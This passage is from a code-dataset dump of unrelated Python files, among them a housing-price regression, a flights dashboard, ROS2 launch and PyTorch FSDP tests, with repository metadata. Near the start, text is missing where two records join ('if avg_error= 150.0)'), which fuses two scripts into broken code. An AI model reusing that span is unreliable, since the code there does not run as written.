\r\n['Level','Area','Floor','Rooms','Pool','Garage','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garden','Age'],\r\n['Level','Area','Floor','Rooms','Pool','Garden','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Garage','Garden','Age'],\r\n['Level','Area','Floor','Rooms','Garage','Garden','Theater'],\r\n['Level','Area','Floor','Rooms','Garage','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Garden','Age','Theater'],\r\n['Level','Area','Floor','Pool','Garage','Garden','Age'],\r\n['Level','Area','Floor','Pool','Garage','Garden','Theater'],\r\n['Level','Area','Floor','Pool','Garage','Age','Theater'],\r\n['Level','Area','Floor','Pool','Garden','Age','Theater'],\r\n['Level','Area','Floor','Garage','Garden','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garage','Garden','Age'],\r\n['Level','Area','Rooms','Pool','Garage','Garden','Theater'],\r\n['Level','Area','Rooms','Pool','Garage','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garden','Age','Theater'],\r\n['Level','Area','Rooms','Garage','Garden','Age','Theater'],\r\n['Level','Area','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage','Garden','Age'],\r\n['Level','Floor','Rooms','Pool','Garage','Garden','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Garage','Garden','Age','Theater'],\r\n['Level','Floor','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage','Garden','Age'],\r\n['Area','Floor','Rooms','Pool','Garage','Garden','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Pool','Garage','Garden','Age','Theater'],\r\n['Area','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Floor','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Garden','Age'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Garden','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Floor','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Area','Floor','Rooms','Pool','Garage','Garden','Age','Theater'],\r\n['Level','Area','Floor','Rooms','Pool','Garage','Garden','Age','Theater']]\r\n\r\nbest_feature = []\r\nmin_train=999999999\r\n\r\nFeature_Error_File = open((dir+\"Feature_Error.txt\"), \"w\")\r\n\r\nfor q in range(len(feature_set)):\r\n print(\"Training.... Set:\",feature_set[q],\" \", (q+1),\"/\",len(feature_set))\r\n df = pd.read_csv ((dir+\"final_training.csv\"))\r\n x=df[feature_set[q]]\r\n y=df['Price(Million-USD)']\r\n regr = linear_model.LinearRegression()\r\n regr.fit(x.values, y.values)\r\n\r\n print(\"Testing....\")\r\n df = pd.read_csv ((dir+\"final_test.csv\"))\r\n x1=df[feature_set[q]]\r\n y1=df['Price(Million-USD)']\r\n\r\n e=0.0\r\n for i in range (y1.values.size):\r\n error = 0.0\r\n predicted = regr.predict([x1.values[i]])\r\n error = y1.values[i] - predicted\r\n if error<0.0:\r\n error=error*-1.0\r\n \r\n e = e + error\r\n \r\n avg_error = e/y1.values.size\r\n\r\n msg=\"\"\r\n msg = msg+str(feature_set[q]) + \"\\tTest Error: \" + str(avg_error) + \"\\n\"\r\n Feature_Error_File.write(msg)\r\n\r\n if avg_error= 150.0):\r\n filteredm.append(row[1])\r\n filteredr.append(row[2])\r\n filteredg.append(row[3])\r\n counter += 1\r\n ind.append(counter)\r\n\r\n\r\ndf = pd.DataFrame(list(zip(ind, filteredm, filteredr, filteredg)), columns=[\r\n \"Index\", \"Mass\", \"Radius\", \"Gravity\"])\r\n\r\n\r\ndf.to_csv(\"Cleaned.csv\")\r\n","repo_name":"My-selforever/Stars-Cleaned","sub_path":"Filtering.py","file_name":"Filtering.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14822246319","text":"# Owner(s): [\"oncall: jit\"]\n\nfrom torch.testing import FileCheck\nfrom torch.testing._internal.jit_utils import JitTestCase\nimport torch\n\n\nif __name__ == '__main__':\n raise RuntimeError(\"This test file is not meant to be run directly, use:\\n\\n\"\n \"\\tpython test/test_jit.py TESTNAME\\n\\n\"\n \"instead.\")\n\n\nclass TestGetDefaultAttr(JitTestCase):\n def test_getattr_with_default(self):\n\n class A(torch.nn.Module):\n def __init__(self):\n super().__init__()\n self.init_attr_val = 1.0\n\n def forward(self, x):\n y = getattr(self, \"init_attr_val\") # noqa: B009\n w : list[float] = [1.0]\n z = getattr(self, \"missing\", w) # noqa: B009\n z.append(y)\n return z\n\n result = A().forward(0.0)\n self.assertEqual(2, len(result))\n graph = torch.jit.script(A()).graph\n\n # The \"init_attr_val\" attribute exists\n FileCheck().check(\"prim::GetAttr[name=\\\"init_attr_val\\\"]\").run(graph)\n # The \"missing\" attribute does not exist, so there should be no corresponding GetAttr in AST\n FileCheck().check_not(\"missing\").run(graph)\n # instead the getattr call will emit the default value, which is a list with one float element\n FileCheck().check(\"float[] = prim::ListConstruct\").run(graph)\n","repo_name":"pytorch/pytorch","sub_path":"test/jit/test_attr.py","file_name":"test_attr.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":72779,"dataset":"github-code","pt":"72"}
+{"seq_id":"24343541575","text":"import logging\nfrom datetime import datetime\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.patches import Ellipse\n\nfrom common.common import init_logging\n\ninit_logging(file='lab3/logs/lab3.log.' + str(datetime.now()))\n\ndecimals = 3\nm = 128\ndelta = 0.25\ndata = np.loadtxt('lab3/data/data.txt', delimiter='\\t', dtype=int)\n\nN = data.shape[0]\nY = data\nX = np.array([np.sum(data[:i + 1]) for i in range(N)])\nf = X / X[N - 1]\nF = np.array([1 / N * np.sum(Y * np.exp(-(2 * np.pi * 1j / N * k * (np.arange(N) + 1)))) for k in (np.arange(N) + 1)])\nP = np.square(np.real(F)) + np.square(np.imag(F))\n\nP_half = P[:150]\nf_half = f[:150]\n\nplt.title('Spectral power density')\nplt.plot(f_half, P_half)\nplt.show()\n\nHF = np.sum(P[np.logical_and(f > 0.15, f <= 0.4)])\nLF = np.sum(P[np.logical_and(f > 0.04, f <= 0.15)])\nVLF = np.sum(P[np.logical_and(f > 0.015, f <= 0.04)])\nTP = HF + LF + VLF\n\nlogging.info('HF=' + np.around(HF, decimals=decimals).astype(str))\nlogging.info('LF=' + np.around(LF, decimals=decimals).astype(str))\nlogging.info('VLF=' + np.around(VLF, decimals=decimals).astype(str))\nlogging.info('TP=' + np.around(TP, decimals=decimals).astype(str))\n\nHF_percentage = HF / TP * 100\nLF_percentage = LF / TP * 100\nVLF_percentage = VLF / TP * 100\n\nlogging.info('HF%=' + HF_percentage.astype(int).astype(str) + '%')\nlogging.info('LF%=' + LF_percentage.astype(int).astype(str) + '%')\nlogging.info('VLF%=' + VLF_percentage.astype(int).astype(str) + '%')\n\nIC = (VLF + LF) / HF\nIVV = LF / HF\nISCA = LF / VLF\n\nlogging.info('IC=' + np.around(IC, decimals=decimals).astype(str))\nlogging.info('IVV=' + np.around(IVV, decimals=decimals).astype(str))\nlogging.info('ISCA=' + np.around(ISCA, decimals=decimals).astype(str))\n","repo_name":"tcibinan/neurotechnology-itmo","sub_path":"lab3/lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"73917022634","text":"import altair as alt\nimport datetime as dt\nimport glob\nimport logging\nimport os\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport plotly.graph_objs as go\nimport requests\nimport streamlit as st\nfrom typing import Optional\nimport warnings\n\nwarnings.filterwarnings(\"ignore\")\n\n# SET PAGE CONFIGS\nst.set_page_config(\n layout=\"wide\", page_title=\"LAX Flight Departures\", page_icon=\":airplane:\"\n)\n\n# LOAD DATA\n@st.experimental_singleton\ndef load_data(csv_filename: str, csv_filepath: str, airport_iata: str):\n date_today = dt.date.today()\n try:\n latest_csv_name = max(glob.glob(os.path.join(csv_filepath, csv_filename)))\n latest_csv_date = dt.datetime.strptime(latest_csv_name[-12:-4], \"%Y%m%d\").date()\n except:\n latest_csv_name = None\n latest_csv_date = None\n\n if latest_csv_date == date_today:\n data = pd.read_csv(latest_csv_name)\n else:\n # Call API for today's data\n timestamp_api_call = dt.datetime.now()\n api_key = os.environ.get(\"AIRLABS_API_KEY\")\n url_base = \"https://airlabs.co/api/v9/\"\n url_path = \"schedules\"\n params = {\"api_key\": api_key, \"dep_iata\": airport_iata}\n result = requests.get(url_base + url_path, params)\n response = result.json().get(\"response\")\n # If API returns no data, import latest csv\n if response == None:\n logging.error(\"Airlabs API returned no data: \", result.json())\n data = pd.read_csv(latest_csv_name)\n else:\n data = pd.DataFrame(response)\n data[\"timestamp_api_call\"] = timestamp_api_call\n data.to_csv(\n os.path.join(\n csv_filepath,\n f\"{airport_iata.lower()}_flights_{date_today.strftime('%Y%m%d')}.csv\",\n ),\n index=False,\n )\n\n data[\"dep_time\"] = pd.to_datetime(data[\"dep_time\"])\n data[\"timestamp_api_call\"] = pd.to_datetime(data[\"timestamp_api_call\"])\n\n return data\n\n\n# FILTER DATA FOR A SELECTED HOUR (CACHED)\n@st.experimental_memo\ndef filter_data(\n data: pd.DataFrame,\n departure_hour: Optional[int],\n terminal_selected: Optional[str] = None,\n):\n if departure_hour:\n data = data[data[\"dep_time\"].dt.hour == departure_hour]\n if terminal_selected:\n data = data[data[\"dep_terminal\"] == terminal_selected]\n return data\n\n\n# CALCULATE DATA BY HOUR AND TERMINAL (CACHED)\n@st.experimental_memo\ndef calculate_data_by_hour(\n data: pd.DataFrame,\n departure_hour: Optional[int],\n terminal_selected: Optional[str] = None,\n):\n data = filter_data(data, departure_hour, terminal_selected)\n hist = np.histogram(data[\"dep_time\"].dt.minute, bins=60, range=(0, 60))[0]\n\n return pd.DataFrame({\"minute\": range(60), \"departures\": hist})\n\n\n# CALCULATE GROUPED DATA BY TERMINAL\n@st.experimental_memo\ndef group_data_by_terminal(data: pd.DataFrame, departure_hour: Optional[int]):\n data = filter_data(data, departure_hour)\n grouped = (\n data.groupby([\"dep_terminal\"])\n .agg(count_flights=(\"flight_iata\", \"nunique\"))\n .reset_index()\n )\n return grouped\n\n\n# CALCULATE GROUPED DATA BY AIRLINE\n@st.experimental_memo\ndef group_data_by_airline(data: pd.DataFrame, departure_hour: Optional[int]):\n data = filter_data(data, departure_hour)\n grouped = (\n data.groupby([\"dep_terminal\", \"airline_iata\"])\n .agg(count_flights=(\"flight_iata\", \"nunique\"))\n .reset_index()\n )\n grouped[\"airport\"] = \"LAX\"\n return grouped\n\n\n# STREAMLIT APP LAYOUT\ndata = load_data(\n csv_filename=\"lax_flights_*.csv\",\n csv_filepath=\"/Users/clau/Documents/Github/flights/data/\",\n airport_iata=\"LAX\",\n)\n\n# SEE IF THERE IS A QUERY PARAM IN URL\nif not st.session_state.get(\"url_synced\", False):\n try:\n hour_selected = int(st.experimental_get_query_params()[\"departure_hour\"][0])\n st.session_state[\"departure_hour\"] = hour_selected\n st.session_state[\"url_synced\"] = True\n except KeyError:\n pass\n\n# UPDATE QUERY PARAM IF SLIDER CHANGES\ndef update_query_params():\n hour_selected = st.session_state[\"departure_hour\"]\n st.experimental_get_query_params()\n\n\n# TOP SECTION APP LAYOUT\nst.title(\"✈️ LAX Flight Departures Data\")\nst.markdown(\"#### About Dataset\")\nst.markdown(\n f\"\"\"\n\tData pulled: {data[\"timestamp_api_call\"].iloc[0].date()}\\n\n\tDataset contains all LAX flight departures from \\\n\t{data[\"dep_time\"].min().strftime(\"%Y-%m-%d %H\")}:00 to \\\n\t{data[\"dep_time\"].max().strftime(\"%Y-%m-%d %H\")}:00 (Pacific Time).\n\t\"\"\"\n)\nst.markdown(\n \"***Adjust slider to see how LAX flight departures differ by terminal at different hours of the day.***\"\n)\n\nhour_selected = st.slider(\n \"Select hour of flight departure\",\n 0,\n 23,\n key=\"departure_hour\",\n on_change=update_query_params,\n)\n\n# LAYOUT MIDDLE SECTION OF APP WITH CHARTS\nrow2_1, row2_2 = st.columns((1, 1), gap=\"large\")\n\n# CALCULATE DATA FOR CHARTS\nchart_data = calculate_data_by_hour(data, hour_selected)\ngrouped_by_terminal_data = group_data_by_terminal(data, hour_selected)\ngrouped_by_airline_data = group_data_by_airline(data, hour_selected)\n\nchart_dep = (\n alt.Chart(chart_data)\n .mark_area(\n interpolate=\"step-after\",\n )\n .encode(\n x=alt.X(\"minute:Q\"),\n y=alt.Y(\"departures:Q\"),\n tooltip=[\"minute\", \"departures\"],\n opacity=alt.value(0.6),\n color=alt.value(\"red\"),\n )\n)\n\nchart_terminal = (\n alt.Chart(grouped_by_terminal_data)\n .mark_bar()\n .encode(\n x=alt.X(\"count_flights:Q\"),\n y=alt.Y(\"dep_terminal:N\"),\n tooltip=[\"dep_terminal\", \"count_flights\"],\n color=alt.Color(\"dep_terminal:N\"),\n opacity=alt.OpacityValue(0.8),\n )\n)\nchart_all = alt.vconcat(\n chart_dep,\n chart_terminal,\n data=chart_data,\n autosize=alt.AutoSizeParams(contains=\"content\", resize=True),\n)\n\n# PLOT CHARTS\nwith row2_1:\n st.write(\n f\"**Breakdown of departures by terminal & airline between {hour_selected}:00 and {(hour_selected + 1) % 24}:00**\"\n )\n if grouped_by_airline_data.empty:\n st.write(\n f\"***No Flights leaving LAX between {hour_selected}:00 and {(hour_selected + 1) % 24}:00***\"\n )\n else:\n fig = px.sunburst(\n grouped_by_airline_data,\n path=[\"airport\", \"dep_terminal\", \"airline_iata\"],\n values=\"count_flights\",\n )\n fig.update_layout(margin=go.layout.Margin(l=0, r=0, b=0, t=0))\n fig.update_traces(\n hovertemplate=\"terminal/airline:%{id},\\n count_flights:%{value}\",\n selector=dict(type=\"sunburst\"),\n )\n st.plotly_chart(fig, use_container_width=True)\n\nwith row2_2:\n st.write(\n f\"**Breakdown of departures per minute between {hour_selected}:00 and {(hour_selected + 1) % 24}:00**\"\n )\n st.altair_chart(chart_all, use_container_width=True)\n","repo_name":"claudian37/lax_flights_dashboard","sub_path":"st_flights_dashboard.py","file_name":"st_flights_dashboard.py","file_ext":"py","file_size_in_byte":6900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"70741778794","text":"n, m = map(int, input().split())\ns = [input() for _ in range(n)]\nans = [[0] * m for _ in range(n)]\nfor i in range(n):\n for j in range(m):\n cnt = 0\n for p in (-1, 0, 1):\n for q in (-1, 0, 1):\n u, v = i + p, j + q\n if 0 > u or u >= n or 0 > v or v >= m:\n continue\n if s[u][v] == \"#\":\n cnt += 1\n ans[i][j] = cnt\n\nfor an in ans:\n print(*an, sep=\"\")\n","repo_name":"ymsk-sky/atcoder_part3","sub_path":"algorithm_kente_04/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"39967567297","text":"import os\nimport sys\nimport yaml\nfrom launch import LaunchDescription\nfrom launch_ros.actions import Node\nfrom ament_index_python.packages import get_package_share_directory\nimport xacro\n\n\ndef load_file(package_name, file_path):\n package_path = get_package_share_directory(package_name)\n absolute_file_path = os.path.join(package_path, file_path)\n\n try:\n with open(absolute_file_path, 'r') as file:\n return file.read()\n except EnvironmentError: # parent of IOError, OSError *and* WindowsError where available\n return None\n\ndef load_yaml(package_name, file_path):\n package_path = get_package_share_directory(package_name)\n absolute_file_path = os.path.join(package_path, file_path)\n\n try:\n with open(absolute_file_path, 'r') as file:\n return yaml.safe_load(file)\n except EnvironmentError: # parent of IOError, OSError *and* WindowsError where available\n return None\n\n\ndef generate_launch_description():\n args = ['robot_ip:=192.168.10.2']\n length = len(sys.argv)\n if (len(sys.argv) >= 5):\n i = 4\n while i < len(sys.argv):\n args.append(sys.argv[i])\n i = i + 1\n\n # Component yaml files are grouped in separate namespaces\n # Use URDF file: tm5-900-nominal.urdf to do moveit demo\n # robot_description_config = load_file('tm_description', 'urdf/tm5-900-nominal.urdf')\n # robot_description = {'robot_description' : robot_description_config}\n # Use Xacro file: tm5-900.urdf.xacro to do moveit demo\n robot_description_config = xacro.process_file(\n os.path.join(\n get_package_share_directory(\"tm_description\"),\n \"xacro\",\n \"tm5-900.urdf.xacro\",\n )\n ) \n robot_description = {\"robot_description\": robot_description_config.toxml()}\n\n robot_description_semantic_config = load_file('tm_moveit_config_tm5-900', 'config/tm5-900.srdf')\n robot_description_semantic = {'robot_description_semantic' : robot_description_semantic_config}\n \n # RViz\n rviz_config_file = get_package_share_directory('tm_driver') + \"/rviz/bringup.rviz\"\n rviz_node = Node(\n package='rviz2',\n executable='rviz2',\n name='rviz2',\n output='log',\n arguments=['-d', rviz_config_file],\n parameters=[\n robot_description,\n robot_description_semantic]\n )\n\n # Static TF\n static_tf = Node(\n package='tf2_ros',\n executable='static_transform_publisher',\n name='static_transform_publisher',\n output='log',\n arguments=['0.0', '0.0', '0.0', '0.0', '0.0', '0.0', 'world', 'base']\n )\n\n # Publish TF\n robot_state_publisher = Node(\n package='robot_state_publisher',\n executable='robot_state_publisher',\n name='robot_state_publisher',\n output='both',\n parameters=[robot_description]\n )\n\n # joint driver\n tm_driver_node = Node(\n package='tm_driver',\n executable='tm_driver',\n #name='tm_driver',\n output='screen',\n arguments=args\n )\n \n\n return LaunchDescription([ tm_driver_node, static_tf, robot_state_publisher, rviz_node ])\n","repo_name":"Lin1225/TM_ros2_handeye","sub_path":"src/tmr_ros2/tm_driver/launch/tm5-900_bringup.launch.py","file_name":"tm5-900_bringup.launch.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"29438633007","text":"from .ssd import SSD\nfrom .predictor import Predictor\nfrom .backbone import get_backbone as get_backbone\nfrom .headers import get_headers as get_headers\n\n\ndef create_ssd(backbone_type, header_type, use_gray, num_classes, aspect_ratios, priors, center_variance, size_variance, is_test=False, with_softmax=False, device=None, fp16=False):\n #print(backbone_type)\n base_net = get_backbone.get_backbone(backbone_type, use_gray, num_classes)\n #print(header_type)\n source_layer_indexes, extras, classification_headers, regression_headers = get_headers.get_headers(header_type, base_net, num_classes, aspect_ratios)\n\n return SSD(num_classes, base_net.model, source_layer_indexes,\n extras, classification_headers, regression_headers, priors, center_variance, size_variance, is_test=is_test, with_softmax=with_softmax, device=device, fp16=fp16)\n\n\ndef create_ssd_predictor(net, image_size_x, image_size_y, image_mean, image_std, iou_thresh, candidate_size=200, nms_method=None, sigma=0.5, device=None):\n predictor = Predictor(net, image_size_x, image_size_y, image_mean,\n image_std,\n nms_method=nms_method,\n iou_threshold=iou_thresh,\n candidate_size=candidate_size,\n sigma=sigma,\n device=device)\n return predictor\n","repo_name":"zuoqing1988/pytorch-ssd-for-ZQCNN","sub_path":"core/ssd_creator.py","file_name":"ssd_creator.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"72"}
+{"seq_id":"36260300850","text":"import pyautogui\r\nimport time\r\nimport pyperclip\r\nimport pandas\r\nimport numpy\r\nimport openpyxl\r\n\r\n#Baixar o tabela de dados\r\n\r\npyautogui.PAUSE = 0.5\r\n\r\npyautogui.press('win')\r\npyautogui.write('cr')\r\npyautogui.press('enter')\r\npyautogui.write('link para tabela de dados')\r\npyautogui.press('enter')\r\n\r\ntime.sleep(3)\r\n\r\n\r\n\r\npyautogui.press('tab')\r\npyautogui.write('Nicolas')\r\npyautogui.press('tab')\r\npyautogui.write('123')\r\npyautogui.press('tab')\r\npyautogui.press('enter')\r\n\r\ntime.sleep(3)\r\n\r\npyautogui.click(x=396, y=386)\r\npyautogui.click(x=1713, y=191)\r\npyautogui.click(x=1465, y=593)\r\n\r\ntime.sleep(3)\r\n\r\ntabela = pandas.read_csv(r\"C:\\Users\\XXXX\\Downloads\\Compras.csv\", sep = ';')\r\nprint(tabela)\r\ntotal_gasto = tabela['ValorFinal'].sum()\r\nquantidade = tabela['Quantidade'].sum()\r\npreco_medio = total_gasto / quantidade\r\nprint(total_gasto)\r\nprint(quantidade)\r\nprint(preco_medio)\r\n\r\n#pyautogui.click(x=714, y=1057) \r\npyautogui.press('win')\r\npyautogui.write('out')\r\npyautogui.press('enter')\r\n\r\ntime.sleep(15)\r\n\r\n#pyautogui.click(x=129, y=107)\r\npyautogui.hotkey('ctrl', 'n')\r\n\r\ntime.sleep(3)\r\n\r\npyautogui.write('email-l para envio')\r\npyautogui.press('tab')\r\npyautogui.press('tab')\r\npyperclip.copy('Gestão de pedidos')\r\npyautogui.hotkey('ctrl', 'v')\r\npyautogui.press('tab') \r\n\r\ntexto = f'''\r\nPrezado chefe, segue abaixo o relatório do dia de hoje:\r\n\r\nTotal gasto:{total_gasto}\r\nQuantidade:{quantidade}\r\nPreço médio:{preco_medio}\r\n\r\nQualquer dúvida, enviar uma mensagem para esse mesmo e-mail. \r\nAtenciosamente, Nicolas.\r\n'''\r\npyperclip.copy(texto)\r\npyautogui.hotkey('ctrl', 'v')\r\npyautogui.hotkey('ctrl', 'enter')\r\n","repo_name":"Nicolascarm/Automatizacao","sub_path":"Automatização.py","file_name":"Automatização.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"33557838081","text":"import random\nimport json\nimport torch\nfrom model import NeuralNet\nfrom nltk_utils import bag_of_words, tokenize\n\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # check to see if gpu is available for use\n\nwith open('intents.json', 'r') as f:\n intents = json.load(f)\n\n# load pre-processed data file\nFILE = \"data.pth\"\ndata = torch.load(FILE)\n\n# get all data from save file\ninput_size = data[\"input_size\"]\nhidden_size = data[\"hidden_size\"]\noutput_size = data[\"output_size\"]\nall_words = data[\"all_words\"]\ninput_size = data[\"input_size\"]\ntags = data[\"tags\"]\nmodel_state = data[\"model_state\"]\n\nmodel = NeuralNet(input_size, hidden_size, output_size).to(device)\nmodel.load_state_dict(model_state)\nmodel.eval()\n\nbot_name = \"Chief\"\nprint(\"Let's chat! type 'quit' to exit\")\nwhile True:\n sentence = input('You: ')\n if sentence == 'quit':\n break\n # tokenize sentence to be processed for a response\n sentence = tokenize(sentence)\n X = bag_of_words(sentence, all_words)\n X = X.reshape(1, X.shape[0])\n X = torch.from_numpy(X)\n\n output = model(X) # put the user sentence in the model to be used to predict a response\n _, predicted = torch.max(output, dim=1) # predict a response\n tag = tags[predicted.item()] # predicted tag\n\n # check if probabilty of predicted tag is high enough to warrant a correct response\n probs = torch.softmax(output, dim=1)\n prob = probs[0][predicted.item()]\n\n if prob.item() > 0.75:\n # loop over all intents and check if the predicted tag matches\n for intent in intents[\"intents\"]:\n if tag == intent[\"tag\"]:\n print(f'{bot_name}: {random.choice(intent[\"responses\"])}') # find a random response to display\n else:\n print(f\"{bot_name}: I do not understand...\")\n","repo_name":"JohnNooney/SimplePythonChatbot","sub_path":"chat.py","file_name":"chat.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14820855589","text":"# Owner(s): [\"oncall: distributed\"]\n\nimport copy\nimport sys\n\nfrom typing import Dict\n\nimport torch\nimport torch.distributed as dist\nimport torch.nn as nn\nfrom torch.distributed._composable import checkpoint, fully_shard, replicate\nfrom torch.distributed._shard.sharded_tensor import ShardedTensor\nfrom torch.distributed.fsdp import FullyShardedDataParallel as FSDP, StateDictType\nfrom torch.distributed.fsdp.api import MixedPrecision, ShardingStrategy\nfrom torch.distributed.fsdp.wrap import ModuleWrapPolicy\nfrom torch.testing._internal.common_dist_composable import (\n CompositeModel,\n CompositeParamModel,\n UnitModule,\n)\nfrom torch.testing._internal.common_distributed import (\n SaveForwardInputsModel,\n skip_if_lt_x_gpu,\n)\nfrom torch.testing._internal.common_fsdp import FSDPTest\nfrom torch.testing._internal.common_utils import (\n instantiate_parametrized_tests,\n run_tests,\n TEST_WITH_DEV_DBG_ASAN,\n)\n\n\nif not dist.is_available():\n print(\"Distributed not available, skipping tests\", file=sys.stderr)\n sys.exit(0)\n\n\nif TEST_WITH_DEV_DBG_ASAN:\n print(\n \"Skip dev-asan as torch + multiprocessing spawn have known issues\",\n file=sys.stderr,\n )\n sys.exit(0)\n\n\nclass TestFSDPCheckpoint(FSDPTest):\n @property\n def world_size(self) -> int:\n return 2\n\n # TODO: Define `use_same_inputs_across_ranks` for now for BC since some\n # test model configs do not have a simple base model to compare against. In\n # those cases, we use the same inputs across ranks so that the averaged\n # gradient equals the local gradient to check for parity. This means that\n # the gradient reduction is unchecked.\n def _test_parity(\n self,\n base_model: nn.Module,\n test_model: nn.Module,\n inp_size: torch.Size,\n inp_device: torch.device,\n grad_to_none: bool,\n use_same_inputs_across_ranks: bool,\n ):\n LR = 0.01\n base_optim = torch.optim.Adam(base_model.parameters(), lr=LR)\n test_optim = torch.optim.Adam(test_model.parameters(), lr=LR)\n\n for _ in range(5):\n if use_same_inputs_across_ranks:\n torch.manual_seed(0)\n x = torch.randn(inp_size, device=inp_device)\n test_loss = test_model(x).sum()\n base_loss = base_model(x).sum()\n\n self.assertEqual(test_loss, base_loss)\n\n test_loss.backward()\n test_optim.step()\n test_optim.zero_grad(set_to_none=grad_to_none)\n\n base_loss.backward()\n base_optim.step()\n base_optim.zero_grad(set_to_none=grad_to_none)\n\n @skip_if_lt_x_gpu(2)\n def test_wrap_same_submodule(self):\n model = UnitModule(device=torch.device(\"cuda\"))\n\n base_model = copy.deepcopy(model)\n\n test_model = copy.deepcopy(model)\n # compose checkpoint and fully_shard\n test_model.seq = checkpoint(test_model.seq)\n test_model.seq = fully_shard(\n test_model.seq,\n policy=ModuleWrapPolicy({nn.Linear}),\n )\n\n self.run_subtests(\n {\n \"base_model\": [base_model],\n \"test_model\": [test_model],\n \"inp_size\": [torch.Size((2, 100))],\n \"inp_device\": [torch.device(\"cuda\")],\n \"grad_to_none\": [True, False],\n \"use_same_inputs_across_ranks\": [True],\n },\n self._test_parity,\n )\n\n def _test_checkpoint_fsdp_submodules(self):\n model = CompositeModel(device=torch.device(\"cuda\"))\n\n base_model = copy.deepcopy(model)\n\n test_model = copy.deepcopy(model)\n test_model.u1 = fully_shard(test_model.u1, policy=None)\n test_model.u2 = fully_shard(test_model.u2)\n\n test_model.u1.seq = checkpoint(test_model.u1.seq)\n test_model.u2.seq = checkpoint(test_model.u2.seq)\n\n self.run_subtests(\n {\n \"base_model\": [base_model],\n \"test_model\": [test_model],\n \"inp_size\": [torch.Size((2, 100))],\n \"inp_device\": [torch.device(\"cuda\")],\n \"grad_to_none\": [True, False],\n \"use_same_inputs_across_ranks\": [True],\n },\n self._test_parity,\n )\n\n @skip_if_lt_x_gpu(2)\n def test_checkpoint_fsdp_submodules_non_reentrant(self):\n self._test_checkpoint_fsdp_submodules()\n\n @skip_if_lt_x_gpu(2)\n def test_checkpoint_fully_shard_cast_forward_inputs(self):\n self.run_subtests(\n {\n \"checkpoint_strict_submodule\": [False, True],\n },\n self._test_checkpoint_fully_shard_cast_forward_inputs,\n )\n\n def _test_checkpoint_fully_shard_cast_forward_inputs(\n self, checkpoint_strict_submodule: bool\n ):\n forward_inputs: Dict[nn.Module, torch.Tensor] = {}\n fp16_mp = MixedPrecision(param_dtype=torch.float16, cast_forward_inputs=True)\n fp32_mp = MixedPrecision(param_dtype=torch.float32, cast_forward_inputs=True)\n\n model = SaveForwardInputsModel(\n forward_inputs=forward_inputs, cast_forward_inputs=False\n ).cuda()\n x = torch.zeros(2, 100, device=\"cuda\")\n\n fully_shard(model.c2, mixed_precision=fp16_mp)\n if checkpoint_strict_submodule:\n checkpoint(model.c2.l)\n else:\n checkpoint(model.c2)\n fully_shard(model, mixed_precision=fp32_mp)\n\n loss = model(x).sum()\n loss.backward()\n\n self.assertEqual(forward_inputs[model].dtype, torch.float32)\n self.assertEqual(forward_inputs[model.c1].dtype, torch.float32)\n # Notably, check that the recomputed forward preserves the right dtype\n self.assertEqual(forward_inputs[model.c2].dtype, torch.float16)\n\n @skip_if_lt_x_gpu(2)\n def test_fully_shard_replicate_correct_replicate_params(self):\n model = CompositeParamModel(device=torch.device(\"cuda\"))\n # Shard Linears within UnitModule\n fully_shard(model.u1, policy=ModuleWrapPolicy({nn.Linear}))\n fully_shard(model.u2, policy=ModuleWrapPolicy({nn.Linear}))\n # replicate the rest\n replicate(model)\n # Run fwd + bwd to initialize DDP\n inp = torch.randn(2, 100, device=\"cuda\")\n model(inp).sum().backward()\n # Ensure replicate param names are as expected, i.e.\n # immediate parameters of model and parameters of model's non-UnitModule\n # submodules are replicated\n param_names = replicate.state(model)._replicate_param_names\n replicated_modules = [\n (name, mod)\n for (name, mod) in 